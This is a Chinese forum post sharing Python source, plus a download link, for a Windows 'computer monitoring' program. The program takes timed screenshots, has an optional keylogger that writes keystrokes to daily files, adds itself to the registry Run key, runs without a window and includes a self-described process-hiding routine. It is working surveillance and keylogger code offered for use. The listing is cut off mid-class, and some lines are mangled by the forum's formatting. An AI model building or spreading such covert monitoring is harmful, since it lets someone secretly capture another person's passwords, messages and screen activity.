吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2680|回复: 32
收起左侧

[Python 原创] 电脑监控记录软件

  [复制链接]
top777 发表于 2025-4-2 15:24
本帖最后由 top777 于 2025-4-3 09:54 编辑

基于帖子https://www.52pojie.cn/thread-2017435-1-1.html源码,在cursor的帮助下增加了线程隐藏以及退出热键功能,截图压缩和内存清理机制。
PS:现在程序变成1400多行,消耗完我cursor免费的部分,只好花大洋升级成pro并充了40刀........
20250403:按照@zylz9941、@艾浩123两位的意见修改并压缩了代码(1300多行)。
这个版本的成品参见:链接: https://pan.baidu.com/s/1WDHc9lBSsph1u5wjojm-Cg?pwd=749y 提取码: 749y

[Python] 纯文本查看 复制代码
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
0012
0013
0014
0015
0016
0017
0018
0019
0020
0021
0022
0023
0024
0025
0026
0027
0028
0029
0030
0031
0032
0033
0034
0035
0036
0037
0038
0039
0040
0041
0042
0043
0044
0045
0046
0047
0048
0049
0050
0051
0052
0053
0054
0055
0056
0057
0058
0059
0060
0061
0062
0063
0064
0065
0066
0067
0068
0069
0070
0071
0072
0073
0074
0075
0076
0077
0078
0079
0080
0081
0082
0083
0084
0085
0086
0087
0088
0089
0090
0091
0092
0093
0094
0095
0096
0097
0098
0099
0100
0101
0102
0103
0104
0105
0106
0107
0108
0109
0110
0111
0112
0113
0114
0115
0116
0117
0118
0119
0120
0121
0122
0123
0124
0125
0126
0127
0128
0129
0130
0131
0132
0133
0134
0135
0136
0137
0138
0139
0140
0141
0142
0143
0144
0145
0146
0147
0148
0149
0150
0151
0152
0153
0154
0155
0156
0157
0158
0159
0160
0161
0162
0163
0164
0165
0166
0167
0168
0169
0170
0171
0172
0173
0174
0175
0176
0177
0178
0179
0180
0181
0182
0183
0184
0185
0186
0187
0188
0189
0190
0191
0192
0193
0194
0195
0196
0197
0198
0199
0200
0201
0202
0203
0204
0205
0206
0207
0208
0209
0210
0211
0212
0213
0214
0215
0216
0217
0218
0219
0220
0221
0222
0223
0224
0225
0226
0227
0228
0229
0230
0231
0232
0233
0234
0235
0236
0237
0238
0239
0240
0241
0242
0243
0244
0245
0246
0247
0248
0249
0250
0251
0252
0253
0254
0255
0256
0257
0258
0259
0260
0261
0262
0263
0264
0265
0266
0267
0268
0269
0270
0271
0272
0273
0274
0275
0276
0277
0278
0279
0280
0281
0282
0283
0284
0285
0286
0287
0288
0289
0290
0291
0292
0293
0294
0295
0296
0297
0298
0299
0300
0301
0302
0303
0304
0305
0306
0307
0308
0309
0310
0311
0312
0313
0314
0315
0316
0317
0318
0319
0320
0321
0322
0323
0324
0325
0326
0327
0328
0329
0330
0331
0332
0333
0334
0335
0336
0337
0338
0339
0340
0341
0342
0343
0344
0345
0346
0347
0348
0349
0350
0351
0352
0353
0354
0355
0356
0357
0358
0359
0360
0361
0362
0363
0364
0365
0366
0367
0368
0369
0370
0371
0372
0373
0374
0375
0376
0377
0378
0379
0380
0381
0382
0383
0384
0385
0386
0387
0388
0389
0390
0391
0392
0393
0394
0395
0396
0397
0398
0399
0400
0401
0402
0403
0404
0405
0406
0407
0408
0409
0410
0411
0412
0413
0414
0415
0416
0417
0418
0419
0420
0421
0422
0423
0424
0425
0426
0427
0428
0429
0430
0431
0432
0433
0434
0435
0436
0437
0438
0439
0440
0441
0442
0443
0444
0445
0446
0447
0448
0449
0450
0451
0452
0453
0454
0455
0456
0457
0458
0459
0460
0461
0462
0463
0464
0465
0466
0467
0468
0469
0470
0471
0472
0473
0474
0475
0476
0477
0478
0479
0480
0481
0482
0483
0484
0485
0486
0487
0488
0489
0490
0491
0492
0493
0494
0495
0496
0497
0498
0499
0500
0501
0502
0503
0504
0505
0506
0507
0508
0509
0510
0511
0512
0513
0514
0515
0516
0517
0518
0519
0520
0521
0522
0523
0524
0525
0526
0527
0528
0529
0530
0531
0532
0533
0534
0535
0536
0537
0538
0539
0540
0541
0542
0543
0544
0545
0546
0547
0548
0549
0550
0551
0552
0553
0554
0555
0556
0557
0558
0559
0560
0561
0562
0563
0564
0565
0566
0567
0568
0569
0570
0571
0572
0573
0574
0575
0576
0577
0578
0579
0580
0581
0582
0583
0584
0585
0586
0587
0588
0589
0590
0591
0592
0593
0594
0595
0596
0597
0598
0599
0600
0601
0602
0603
0604
0605
0606
0607
0608
0609
0610
0611
0612
0613
0614
0615
0616
0617
0618
0619
0620
0621
0622
0623
0624
0625
0626
0627
0628
0629
0630
0631
0632
0633
0634
0635
0636
0637
0638
0639
0640
0641
0642
0643
0644
0645
0646
0647
0648
0649
0650
0651
0652
0653
0654
0655
0656
0657
0658
0659
0660
0661
0662
0663
0664
0665
0666
0667
0668
0669
0670
0671
0672
0673
0674
0675
0676
0677
0678
0679
0680
0681
0682
0683
0684
0685
0686
0687
0688
0689
0690
0691
0692
0693
0694
0695
0696
0697
0698
0699
0700
0701
0702
0703
0704
0705
0706
0707
0708
0709
0710
0711
0712
0713
0714
0715
0716
0717
0718
0719
0720
0721
0722
0723
0724
0725
0726
0727
0728
0729
0730
0731
0732
0733
0734
0735
0736
0737
0738
0739
0740
0741
0742
0743
0744
0745
0746
0747
0748
0749
0750
0751
0752
0753
0754
0755
0756
0757
0758
0759
0760
0761
0762
0763
0764
0765
0766
0767
0768
0769
0770
0771
0772
0773
0774
0775
0776
0777
0778
0779
0780
0781
0782
0783
0784
0785
0786
0787
0788
0789
0790
0791
0792
0793
0794
0795
0796
0797
0798
0799
0800
0801
0802
0803
0804
0805
0806
0807
0808
0809
0810
0811
0812
0813
0814
0815
0816
0817
0818
0819
0820
0821
0822
0823
0824
0825
0826
0827
0828
0829
0830
0831
0832
0833
0834
0835
0836
0837
0838
0839
0840
0841
0842
0843
0844
0845
0846
0847
0848
0849
0850
0851
0852
0853
0854
0855
0856
0857
0858
0859
0860
0861
0862
0863
0864
0865
0866
0867
0868
0869
0870
0871
0872
0873
0874
0875
0876
0877
0878
0879
0880
0881
0882
0883
0884
0885
0886
0887
0888
0889
0890
0891
0892
0893
0894
0895
0896
0897
0898
0899
0900
0901
0902
0903
0904
0905
0906
0907
0908
0909
0910
0911
0912
0913
0914
0915
0916
0917
0918
0919
0920
0921
0922
0923
0924
0925
0926
0927
0928
0929
0930
0931
0932
0933
0934
0935
0936
0937
0938
0939
0940
0941
0942
0943
0944
0945
0946
0947
0948
0949
0950
0951
0952
0953
0954
0955
0956
0957
0958
0959
0960
0961
0962
0963
0964
0965
0966
0967
0968
0969
0970
0971
0972
0973
0974
0975
0976
0977
0978
0979
0980
0981
0982
0983
0984
0985
0986
0987
0988
0989
0990
0991
0992
0993
0994
0995
0996
0997
0998
0999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
import os
import sys
import time
import gc
import json
import logging
import queue
import threading
import traceback
from datetime import datetime
import ctypes
from ctypes import Structure, windll, c_long, c_int, c_uint
import argparse
 
# 第三方库导入
import psutil
import win32api
import win32con
import win32gui
import win32process
import win32security
import winreg
from PIL import ImageGrab
from pynput import keyboard
from concurrent.futures import ThreadPoolExecutor
 
# 定义Windows类型
class POINT(Structure):
    _fields_ = [("x", c_long), ("y", c_long)]
 
class MSG(Structure):
    _fields_ = [("hwnd", c_int),
                ("message", c_uint),
                ("wParam", c_int),
                ("lParam", c_int),
                ("time", c_int),
                ("pt", POINT)]
 
# 系统级热键相关常量和函数
user32 = ctypes.windll.user32
MOD_ALT = 0x0001
MOD_CONTROL = 0x0002
MOD_SHIFT = 0x0004
MOD_WIN = 0x0008
WM_HOTKEY = 0x0312
 
# 添加进程隐藏相关常量
PROCESS_ALL_ACCESS = 0x1F0FFF
PROCESS_VM_READ = 0x0010
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_OPERATION = 0x0008
PROCESS_QUERY_INFORMATION = 0x0400
 
# 创建线程池
executor = ThreadPoolExecutor(max_workers=2)
 
# 创建退出事件
exit_event = threading.Event()
 
# 全局变量,用于跟踪按键状态和程序状态
GLOBAL_KEYS_PRESSED = set()  # 跟踪全局按下的键
KEY_MONITORING_ACTIVE = True  # 控制键盘监控是否活跃
KEYBOARD_STATE_BEFORE_SCREENSHOT = None  # 截图前的键盘状态
KEYBOARD_STATE_AFTER_SCREENSHOT = None   # 截图后的键盘状态
IS_TAKING_SCREENSHOT = False  # 是否正在截图
KEYBOARD_MONITORING_SUSPENDED = False  # 键盘监控是否暂停
 
# 定义热键组合列表
HOT_KEY_COMBINATIONS = [
    {"name": "Ctrl+Alt+X", "keys": {keyboard.Key.ctrl, keyboard.Key.alt, keyboard.KeyCode.from_char('x')}},
    {"name": "Alt+X", "keys": {keyboard.Key.alt, keyboard.KeyCode.from_char('x')}},
    {"name": "Ctrl+Alt+Q", "keys": {keyboard.Key.ctrl, keyboard.Key.alt, keyboard.KeyCode.from_char('q')}},
    {"name": "Ctrl+Alt+W", "keys": {keyboard.Key.ctrl, keyboard.Key.alt, keyboard.KeyCode.from_char('w')}},
    {"name": "Alt+Shift+X", "keys": {keyboard.Key.alt, keyboard.Key.shift, keyboard.KeyCode.from_char('x')}}
]
CURRENT_HOTKEY_COMBO = HOT_KEY_COMBINATIONS[0# 默认使用第一个热键组合
KEY_LISTENER = None  # 全局键盘监听器引用
 
# 定义全局变量
SLEEP_TIME = 15  # 默认截图间隔15秒
SAVE_PATH = "screenshots"  # 默认保存路径
white_list = []  # 默认白名单为空
KEYLOGGER_ENABLED = False  # 默认不启用键盘记录
KEYLOGGER_RESPECT_WHITELIST = True  # 默认尊重白名单
MEMORY_OPTIMIZE_INTERVAL = 300  # 内存优化间隔(秒)
 
# 添加log_error函数定义
def log_error(msg, exc=None):
    """记录错误日志,如果提供了异常对象则同时记录异常信息"""
    logging.error(msg)
    if exc:
        logging.error(traceback.format_exc())
 
# 键盘处理相关函数
def process_key(key, global_keys, prefix=""):
    """处理按键,添加到全局集合"""
    try:
        # 处理修饰键
        if key in (keyboard.Key.ctrl, keyboard.Key.ctrl_l, keyboard.Key.ctrl_r):
            global_keys.add(keyboard.Key.ctrl)
        elif key in (keyboard.Key.alt, keyboard.Key.alt_l, keyboard.Key.alt_r):
            global_keys.add(keyboard.Key.alt)
        elif hasattr(key, 'char') and key.char:
            global_keys.add(keyboard.KeyCode.from_char(key.char.lower()))
        else:
            global_keys.add(key)
             
        # 检查热键组合
        if (keyboard.Key.ctrl in global_keys and
            keyboard.Key.alt in global_keys and
            keyboard.KeyCode.from_char('x') in global_keys):
            logging.info(f"{prefix} 检测到热键组合: Ctrl+Alt+X")
            handle_exit_hotkey()
            return False
             
        # 检查所有配置的热键组合
        for combo in HOT_KEY_COMBINATIONS:
            if all(k in global_keys for k in combo["keys"]):
                logging.info(f"{prefix} 检测到热键组合: {combo['name']}")
                handle_exit_hotkey()
                return False
    except Exception as e:
        log_error(f"{prefix} 按键处理出错: {str(e)}", e)
    return True
 
def remove_key(key, global_keys, prefix=""):
    """处理按键释放,从全局集合移除"""
    try:
        # 处理修饰键
        if key in (keyboard.Key.ctrl, keyboard.Key.ctrl_l, keyboard.Key.ctrl_r):
            global_keys.discard(keyboard.Key.ctrl)
        elif key in (keyboard.Key.alt, keyboard.Key.alt_l, keyboard.Key.alt_r):
            global_keys.discard(keyboard.Key.alt)
        elif hasattr(key, 'char') and key.char:
            global_keys.discard(keyboard.KeyCode.from_char(key.char.lower()))
        else:
            global_keys.discard(key)
    except Exception as e:
        log_error(f"{prefix} 按键释放处理出错: {str(e)}", e)
    return True
 
def check_for_key_combination():
    """检查是否按下了热键组合"""
    global GLOBAL_KEYS_PRESSED, CURRENT_HOTKEY_COMBO
     
    # 忽略大小写比较
    lowercase_keys = set()
    for k in GLOBAL_KEYS_PRESSED:
        if hasattr(k, 'char') and k.char:
            lowercase_keys.add(keyboard.KeyCode.from_char(k.char.lower()))
        else:
            lowercase_keys.add(k)
     
    if CURRENT_HOTKEY_COMBO["keys"].issubset(lowercase_keys):
        logging.info(f"[热键监控] 检测到热键组合: {CURRENT_HOTKEY_COMBO['name']}")
        logging.info(f"[热键监控] 当前按下的键: {GLOBAL_KEYS_PRESSED}")
        # 设置退出事件
        handle_exit_hotkey()
        return True
    return False
 
def handle_exit_hotkey():
    """处理退出热键被按下的事件"""
    logging.info("[热键事件] 退出热键被触发,程序即将退出")
     
    # 设置全局退出事件,确保所有线程都能收到信号
    exit_event.set()
     
    # 为了确保系统能立即响应,尝试执行一些垃圾收集工作
    gc.collect()
     
    # 确保程序完全退出
    threading.Thread(target=lambda: (time.sleep(0.5), os._exit(0)), daemon=True).start()
 
def start_keyboard_monitor():
    """启动键盘监听线程"""
    global KEY_LISTENER, KEY_MONITORING_ACTIVE
     
    try:
        logging.info("[键盘监控] 启动键盘监听器")
        KEY_MONITORING_ACTIVE = True
         
        # 确保之前的监听器已停止
        if KEY_LISTENER:
            try:
                KEY_LISTENER.stop()
                KEY_LISTENER.join()
            except Exception as e:
                logging.debug(f"[键盘监控] 停止之前的监听器失败: {str(e)}")
         
        # 创建新监听器并启动
        def simple_on_press(key):
            if IS_TAKING_SCREENSHOT:
                return True  # 截图期间不处理热键
            return process_key(key, GLOBAL_KEYS_PRESSED, "[键盘监控]")
         
        def simple_on_release(key):
            return remove_key(key, GLOBAL_KEYS_PRESSED, "[键盘监控]")
         
        KEY_LISTENER = keyboard.Listener(
            on_press=simple_on_press,
            on_release=simple_on_release,
            suppress=False  # 不拦截按键事件,只监听
        )
        KEY_LISTENER.daemon = True
        KEY_LISTENER.start()
         
        logging.info("[键盘监控] 键盘监听器已启动")
        return True
    except Exception as e:
        log_error(f"[键盘监控] 启动键盘监听失败: {str(e)}", e)
        return False
 
def stop_keyboard_monitor():
    """停止键盘监听线程"""
    global KEY_LISTENER, KEY_MONITORING_ACTIVE
     
    try:
        logging.info("[键盘监控] 停止键盘监听器")
        KEY_MONITORING_ACTIVE = False
         
        if KEY_LISTENER:
            KEY_LISTENER.stop()
            KEY_LISTENER = None
             
        logging.info("[键盘监控] 键盘监听器已停止")
        return True
    except Exception as e:
        log_error(f"[键盘监控] 停止键盘监听失败: {str(e)}")
        return False
 
def get_app_path():
    """获取应用程序路径"""
    if getattr(sys, 'frozen', False):
        # 打包后的路径
        app_path = os.path.dirname(sys.executable)
    else:
        # 开发环境路径
        app_path = os.path.dirname(os.path.abspath(__file__))
     
    # 创建必要的目录
    os.makedirs(os.path.join(app_path, 'config'), exist_ok=True)
    return app_path
 
def setup_logging(save_path):
    """配置日志"""
    today = datetime.now().strftime('%Y-%m-%d')
    log_dir = os.path.join(save_path, today)
    os.makedirs(log_dir, exist_ok=True)
 
    # 重置之前的日志处理器
    for handler in logging.root.handlers[:]:
        logging.root.removeHandler(handler)
 
    # 创建文件处理器
    file_handler = logging.FileHandler(
        os.path.join(log_dir, 'screenshot.log'),
        encoding='utf-8',
        mode='a'
    )
    # 创建控制台处理器
    console_handler = logging.StreamHandler(sys.stdout)
 
    # 设置格式
    formatter = logging.Formatter('%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
    file_handler.setFormatter(formatter)
    console_handler.setFormatter(formatter)
 
    # 确保日志文件以UTF-8 BOM格式写入
    if os.path.exists(os.path.join(log_dir, 'screenshot.log')):
        with open(os.path.join(log_dir, 'screenshot.log'), 'a', encoding='utf-8') as f:
            if os.path.getsize(os.path.join(log_dir, 'screenshot.log')) == 0:
                f.write('\ufeff'# 添加BOM标记
    else:
        with open(os.path.join(log_dir, 'screenshot.log'), 'w', encoding='utf-8') as f:
            f.write('\ufeff'# 添加BOM标记
 
    # 设置根日志记录器
    logging.root.setLevel(logging.INFO)
    logging.root.addHandler(file_handler)
    logging.root.addHandler(console_handler)
 
# 注意:以下全局配置初始化已移至主函数中
# 全局变量将在主函数中初始化
 
def get_keylog_file(save_path):
    """获取键盘记录文件路径"""
    try:
        today = datetime.now().strftime('%Y-%m-%d')
        save_dir = os.path.join(save_path, today)
        os.makedirs(save_dir, exist_ok=True)
        return os.path.join(save_dir, 'keylog.txt')
    except Exception as e:
        logging.error(f"获取键盘记录文件路径失败: {str(e)}")
        # 返回默认路径作为后备
        return os.path.join(os.getcwd(), 'keylog.txt')
 
def hide_process():
    """隐藏当前进程"""
    try:
        # 获取当前进程ID
        current_pid = win32api.GetCurrentProcessId()
        # 获取进程句柄
        handle = win32api.OpenProcess(PROCESS_ALL_ACCESS, False, current_pid)
        # 设置进程优先级为低
        win32process.SetPriorityClass(handle, win32process.BELOW_NORMAL_PRIORITY_CLASS)
        # 关闭句柄
        win32api.CloseHandle(handle)
        logging.info("进程已隐藏")
    except Exception as e:
        logging.error(f"隐藏进程失败: {str(e)}")
 
def optimize_memory():
    """优化内存使用"""
    try:
        # 强制进行垃圾回收
        gc.collect()
        # 获取当前进程
        process = psutil.Process()
        # 设置进程工作集大小限制
        process.nice(psutil.BELOW_NORMAL_PRIORITY_CLASS)
        logging.info("内存已优化")
    except Exception as e:
        log_error(f"内存优化失败: {str(e)}")
 
def is_white_window_open():
    """检测白名单窗口是否打开且为活动窗口"""
    active_window = win32gui.GetForegroundWindow()
    active_title = win32gui.GetWindowText(active_window)
 
    if active_title in white_list:
        # 检查窗口是否可见且未最小化
        if win32gui.IsWindowVisible(active_window):
            placement = win32gui.GetWindowPlacement(active_window)
            if placement[1] != win32con.SW_SHOWMINIMIZED:
                logging.debug(f"检测到活动的白名单窗口: {active_title}")
                return True
 
    logging.debug(f"当前活动窗口不在白名单中: {active_title}")
    return False
 
def add_to_startup(config=None):
    """添加程序到开机自启动"""
    try:
        # 检查配置是否允许自启动
        if not config or not config.get('auto_start', False):
            logging.info("开机自启动已禁用")
            return
             
        key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_ALL_ACCESS)
         
        # 获取程序路径
        if getattr(sys, 'frozen', False):
            # 打包后的可执行文件路径
            executable_path = sys.executable
            winreg.SetValueEx(key, "PCMonitor", 0, winreg.REG_SZ, f'"{executable_path}"')
        else:
            # 开发环境中的脚本路径
            script_path = os.path.abspath(__file__)
            winreg.SetValueEx(key, "PCMonitor", 0, winreg.REG_SZ, f'pythonw "{script_path}"')
             
        winreg.CloseKey(key)
        logging.info("已添加到开机自启动")
    except Exception as e:
        log_error(f"添加开机自启动失败: {str(e)}")
 
def get_active_window_info():
    """获取当前活动窗口信息"""
    active_window = win32gui.GetForegroundWindow()
    active_title = win32gui.GetWindowText(active_window)
    return active_title
 
# 键盘记录相关函数
def keylogger_on_key_press(key, save_path, respect_whitelist):
    """键盘按键处理函数"""
    try:
        # 检查白名单
        if respect_whitelist and is_white_window_open():
            return
             
        # 记录按键
        current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        try:
            char = key.char if hasattr(key, 'char') else str(key)
            with open(get_keylog_file(save_path), 'a', encoding='utf-8') as f:
                f.write(f"{current_time} - {char}\n")
        except Exception as e:
            log_error(f"记录按键失败: {str(e)}")
             
    except Exception as e:
        log_error(f"键盘处理错误: {str(e)}")
 
def keylogger_on_key_release(key, save_path, respect_whitelist):
    """键盘释放处理函数 - 简化版本,不再需要跟踪Ctrl/Alt状态"""
    pass  # 键盘记录器不再需要在按键释放时执行任何操作
 
def start_keylogger(save_path, respect_whitelist):
    """启动键盘记录器"""
    if KEYLOGGER_ENABLED:
        logging.info("键盘记录功能已启动")
        # 确保save_path有效
        if not save_path:
            save_path = os.getcwd()
            logging.warning(f"save_path未设置,使用当前目录: {save_path}")
             
        # 确保键盘记录文件存在
        keylog_file = get_keylog_file(save_path)
        if not os.path.exists(keylog_file):
            with open(keylog_file, 'w', encoding='utf-8') as f:
                f.write('\ufeff'# 添加BOM标记
 
        # 创建键盘监听器的回调函数
        def on_press(key):
            keylogger_on_key_press(key, save_path, respect_whitelist)
             
        def on_release(key):
            pass # 不需要处理键盘释放
 
        # 启动键盘监听
        keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release)
        keyboard_listener.start()
        return keyboard_listener
    return None
 
def show_startup_message(config=None, hkey_manager=None):
    """显示启动提示信息(只记录到日志)"""
    # 构建状态消息
    keylog_status = '已启用' if KEYLOGGER_ENABLED else '已禁用'
    keylog_details = ""
    if KEYLOGGER_ENABLED:
        keylog_details = f",键盘记录路径: {get_keylog_file(SAVE_PATH)}"
    else:
        keylog_details = ",使用 --keylog 参数启用键盘记录"
         
    # 获取开机自启动状态
    auto_start_status = '已启用' if config and config.get('auto_start', False) else '已禁用'
    auto_start_details = ",在config.json中设置auto_start为true启用" if not (config and config.get('auto_start', False)) else ""
     
    # 获取当前热键信息
    current_hotkey = "未知"
    if hkey_manager and hasattr(hkey_manager, 'current_hotkey') and hkey_manager.current_hotkey:
        current_hotkey = hkey_manager.current_hotkey
     
    # 记录到日志
    logging.info(f"电脑监控程序已启动 - 配置信息:")
    logging.info(f"保存路径: {SAVE_PATH}")
    logging.info(f"截图间隔: {SLEEP_TIME}秒")
    logging.info(f"退出快捷键: {current_hotkey}")
    logging.info(f"白名单应用: {', '.join(white_list)}")
    logging.info(f"键盘记录: {keylog_status}{keylog_details}")
    logging.info(f"开机自启动: {auto_start_status}{auto_start_details}")
 
def show_hotkey_conflict_message():
    """显示热键冲突提示(只记录到日志)"""
    error_msg = (
        "所有退出热键组合都已被其他程序占用。"
        "请尝试以下操作:"
        "1. 检查是否有其他监控程序正在运行"
        "2. 检查任务管理器中是否有本程序的其他实例"
        "3. 重新启动本程序"
        "4. 如果问题仍然存在,请重启电脑"
        "程序将退出。"
    )
     
    # 记录到日志
    logging.error("热键冲突:所有退出热键组合都已被其他程序占用")
    logging.error("程序将退出")
    sys.exit(1)
 
def is_admin():
    """检查是否具有管理员权限"""
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False
 
def run_as_admin():
    """以管理员权限重新运行程序"""
    try:
        if sys.argv[0].endswith('.py'):
            # 如果是Python脚本,使用pythonw重新运行
            script_path = os.path.abspath(sys.argv[0])
            args = ' '.join(sys.argv[1:])
            cmd = f'"{sys.executable}" "{script_path}" {args}'
        else:
            # 如果是可执行文件,直接运行
            cmd = f'"{sys.executable}"'
         
        ctypes.windll.shell32.ShellExecuteW(
            None,
            "runas",
            sys.executable,
            cmd,
            None,
            1
        )
        logging.info("请求管理员权限重新运行程序")
    except Exception as e:
        log_error(f"请求管理员权限失败: {str(e)}")
 
def check_hotkey_available():
    """检查热键是否被占用"""
    hwnd = None
    wc = None
    try:
        # 创建临时窗口类
        wc = win32gui.WNDCLASS()
        wc.lpfnWndProc = lambda hwnd, msg, wparam, lparam: win32gui.DefWindowProc(hwnd, msg, wparam, lparam)
        wc.lpszClassName = "TempHotKeyWindow"
        wc.hInstance = win32api.GetModuleHandle(None)
         
        # 注册窗口类
        try:
            win32gui.RegisterClass(wc)
        except Exception:
            # 如果类已存在,先注销再重新注册
            try:
                win32gui.UnregisterClass(wc.lpszClassName, wc.hInstance)
                win32gui.RegisterClass(wc)
            except Exception as e:
                log_error(f"注册窗口类失败: {str(e)}")
                return True
         
        # 创建临时窗口
        hwnd = win32gui.CreateWindow(
            wc.lpszClassName,
            None,
            win32con.WS_OVERLAPPED,
            0, 0, 0, 0,
            0,
            0,
            wc.hInstance,
            None
        )
         
        if not hwnd:
            log_error("创建临时窗口失败")
            return True
         
        # 尝试注册热键
        try:
            # 先尝试注销可能存在的热键
            try:
                ctypes.windll.user32.UnregisterHotKey(hwnd, 1)
            except:
                pass
             
            # 等待一小段时间确保之前的热键完全注销
            time.sleep(0.1)
             
            # 尝试注册热键 - 使用user32.dll而不是win32api
            if ctypes.windll.user32.RegisterHotKey(hwnd, 1, MOD_CONTROL | MOD_ALT, ord('X')):
                # 热键注册成功
                ctypes.windll.user32.UnregisterHotKey(hwnd, 1)
                return True
            else:
                error_code = ctypes.windll.kernel32.GetLastError()
                if error_code == 1409# ERROR_HOTKEY_ALREADY_REGISTERED
                    logging.warning(f"热键已被其他程序注册 (错误代码: {error_code})")
                    return False
                else:
                    log_error(f"注册热键失败,错误代码: {error_code}")
                    return True
                     
        except Exception as e:
            log_error(f"注册热键时发生异常: {str(e)}", e)
            return True
             
    except Exception as e:
        log_error(f"检查热键可用性时发生异常: {str(e)}", e)
        return True
         
    finally:
        # 确保资源被正确释放
        if hwnd:
            try:
                ctypes.windll.user32.UnregisterHotKey(hwnd, 1)
            except:
                pass
            try:
                win32gui.DestroyWindow(hwnd)
            except:
                pass
         
        if wc:
            try:
                win32gui.UnregisterClass(wc.lpszClassName, wc.hInstance)
            except:
                pass
         
        gc.collect()
     
    return True
 
def run_main_loop(screenshot_manager):
    """运行主循环"""
    logging.info("主循环开始运行")
    last_memory_optimize = time.time()
    last_screenshot_time = time.time()
     
    # 增加一个计数器统计截图数量
    screenshot_count = 0
    last_heartbeat_time = time.time()
     
    try:
        while True:
            try:
                # 定期输出心跳日志,确认程序仍在运行
                current_time = time.time()
                if current_time - last_heartbeat_time >= 10# 每10秒输出一次心跳
                    logging.info(f"程序运行中 - 已截图: {screenshot_count}张")
                    last_heartbeat_time = current_time
                 
                # 检查退出事件
                if exit_event.is_set():
                    logging.info("检测到退出事件,准备退出程序")
                    break
                 
                current_time = time.time()
                 
                # 根据配置的间隔时间截图
                if current_time - last_screenshot_time >= SLEEP_TIME:
                    # 获取当前活动窗口并检查白名单
                    active_title = get_active_window_info()
                    logging.info(f"当前活动窗口: {active_title}")
                     
                    # 直接记录白名单状态而不是依赖函数返回值
                    window_in_whitelist = active_title in white_list
                    if window_in_whitelist:
                        logging.info(f"窗口在白名单中,跳过截图: {active_title}")
                    else:
                        # 准备保存目录
                        today = datetime.now().strftime('%Y-%m-%d')
                        save_dir = os.path.join(SAVE_PATH, today)
                        # 确保目录存在
                        os.makedirs(save_dir, exist_ok=True)
                        # 添加截图任务
                        logging.info(f"添加截图任务: {active_title}")
                        screenshot_manager.add_task(active_title, save_dir)
                        screenshot_count += 1
                        logging.info(f"截图数量: {screenshot_count}")
                     
                    last_screenshot_time = current_time
                 
                # 定期优化内存
                if current_time - last_memory_optimize >= MEMORY_OPTIMIZE_INTERVAL:
                    logging.info("执行内存优化")
                    optimize_memory()
                    last_memory_optimize = current_time
                     
                # 短暂等待,提高响应速度
                time.sleep(0.1)
                 
            except Exception as e:
                log_error(f"主循环错误: {str(e)}", e)
                time.sleep(0.5)
    except KeyboardInterrupt:
        logging.info("接收到键盘中断,准备退出")
    finally:
        logging.info("主循环结束")
 
def cleanup_resources(screenshot_manager, hotkey_manager, keyboard_listener, backup_hotkey_hwnd):
    """清理程序资源"""
    # 设置退出事件,确保所有线程都能收到退出信号
    exit_event.set()
     
    # 清理资源
    try:
        logging.info("正在清理资源...")
         
        # 停止截图管理器
        if screenshot_manager:
            screenshot_manager.stop()
             
        # 停止热键管理器
        if hotkey_manager:
            hotkey_manager.stop()
             
        # 停止键盘记录器
        if keyboard_listener:
            keyboard_listener.stop()
             
        # 清理备用热键资源
        if backup_hotkey_hwnd:
            try:
                # 检查备用热键类型
                if isinstance(backup_hotkey_hwnd, keyboard.Listener):
                    # 如果是pynput监听器
                    backup_hotkey_hwnd.stop()
                    logging.info("[备用热键] 备用热键监听器已停止")
                else:
                    # 如果是Windows窗口句柄
                    ctypes.windll.user32.UnregisterHotKey(backup_hotkey_hwnd, 1)
                    win32gui.DestroyWindow(backup_hotkey_hwnd)
                    logging.info("[备用热键] 备用热键资源已清理")
            except Exception as e:
                log_error(f"[备用热键] 清理备用热键资源失败: {str(e)}")
    except Exception as e:
        log_error(f"清理资源时发生错误: {str(e)}")
         
    logging.info("服务已停止")
    gc.collect()
 
# 恢复HotkeyManager类
class HotkeyManager:
    """热键管理器类,负责管理热键监听和响应"""
    def __init__(self, config_manager=None):
        self.config_manager = config_manager
        self.current_hotkey = None
        self.running = False
        self.key_monitor_thread = None
         
        # 定义可用的热键组合列表,按优先级排序
        self.available_hotkeys = [
